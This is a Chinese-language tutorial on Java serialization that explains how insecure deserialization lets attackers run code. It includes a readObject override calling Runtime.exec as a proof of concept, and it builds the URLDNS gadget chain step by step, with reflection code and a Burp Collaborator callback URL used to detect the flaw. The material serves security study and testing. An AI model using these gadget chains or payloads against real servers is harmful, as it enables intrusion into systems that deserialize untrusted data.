什么是序列化与反序列化?
- Java序列化是指把Java对象转换为字节序列的过程
- 而Java反序列化是指把字节序列恢复为Java对象的过程。
- 序列化分为两大部分: 序列化和反序列化。
- 序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。
- 反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的 对象实例。
为什么要用序列化与反序列化?
当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。
当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的用途。
两种用途:
- 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
- 在网络上传送对象的字节序列。
初步总结:Java 序列化和反序列化,其一,实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上;其二,利用序列化实现远程通信,即在网络上传递对象的字节序列。
java原生反序列化
序列化代码
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
反序列化代码
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
- ObjectOutputStream代表对象输出流:
- 它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
- ObjectInputStream代表对象输入流:
- 它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
- 静态成员变量是不能被序列化
- 序列化是针对对象属性的,而静态成员变量是属于类的。
- transient 标识的对象成员变量不参与序列化
创建个Person类,必须实现Serializable接口,不然就会报错
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
测试代码
public static void main(String[] args) throws Exception {
Person person = new Person("lisi", 20);
serialize(person);
Object o = unserialize("ser.bin");
System.out.println(o);
}
// 输出结果
Person{name='lisi', age=20}
当使用transient标识name时,输出结果Person{name='null', age=20}
在开发时,readObject和writeObject可能不符合自己的开发需求,所有jdk提供了方法,可以重写readObject和writeObject,这样在序列化和反序列化时,就不会调用jdk原生类,而是调用自己写的类
- 特点:开发者能够灵活的做优化操作
这样就会产生安全问题
为什么会产生安全问题
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能出现的安全问题的形式
- 共同条件:继承Serializable
- 入口类source(重写readObject、调用常见的函数、参数类型宽泛、最好jdk自带)
- 调用链 gadget chain 相同名称 相同类型
- 执行类 (最重要)
- 入口类的readObject直接调用危险方法。(这是最理想的情况,基本不可能出现)
//重写readObject private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } //在反序列化是就能打开计算器
-
入口类参数中包含可控类,该类有危险方法,readObject时调用。 (比较少)
-
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。
URLDNS链子分析
首先找到入口函数
使用HashMap作为入口函数,HashMap重写了readObject方法,可以看到最后进行了赋值操作,并且执行了hash函数,进的hash,调用key的hashCode
执行类
使用URL,可以看到调用了hashcode函数,这里调用getHostAddress,根据域名来获取地址,这里肯定会做一个域名解析的工作,也就是说如果我们调用了URL类的hashcode函数,我们就会得到一个dns请求,我们就可以验证是否存在漏洞
链子利用
当创建一个HashMap,并且插入数据为URL类,反序列化时就会自动调用HashMap的readObject方法,然后会调用到URL的hashCode方法
首先使用new一个HashMap,然后传进去,一个URL,并且序列化,使用burp打开一个Burp Collaborator client,用来接收请求
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(new URL("http://s1uxpddbzq9sg27en1n8u1amgdm4at.burpcollaborator.net"),1);
serialize(hashMap);
//unserialize("ser.bin");
}
当序列化是,接收到了请求,但是反序列化是却没有接收到请求
这里就有问题,为了防止干扰,我们应该是序列化时不执行,反序列化的时候执行,经过代码调试发现,当给HashMap插入数据时,hashCode的值会改变,初始值是-1,反序列化时hashCode值不为-1,会直接返回hashCode,而不会调用hashCode函数
所以这里要解决两个问题:
- 插入数据时,不发起请求
- 最后把hashCode值改为-1
首先需要了解什么是JAVA反射,才能修改值,参考文章:https://juejin.cn/post/6844904025607897096#heading-0
知道了什么是反射,开始进行第一步,在插入数据之前先把hashCode的值改为别的值,测试发现burp没有接收到请求
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
//这里为了不发起请求,把rul对象的hashCode改成别的值
URL url = new URL("http://s1uxpddbzq9sg27en1n8u1amgdm4at.burpcollaborator.net");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,123);
hashMap.put(url,1);
//这里需要再把hashCode的值改为-1
//hashCodeField.set(url,-1);
serialize(hashMap);
//unserialize("ser.bin");
}
第二步,直接在hashMap.put(url,1);
后面修改hashCode的值为-1,hashCodeField.set(url,-1);
成功接收到请求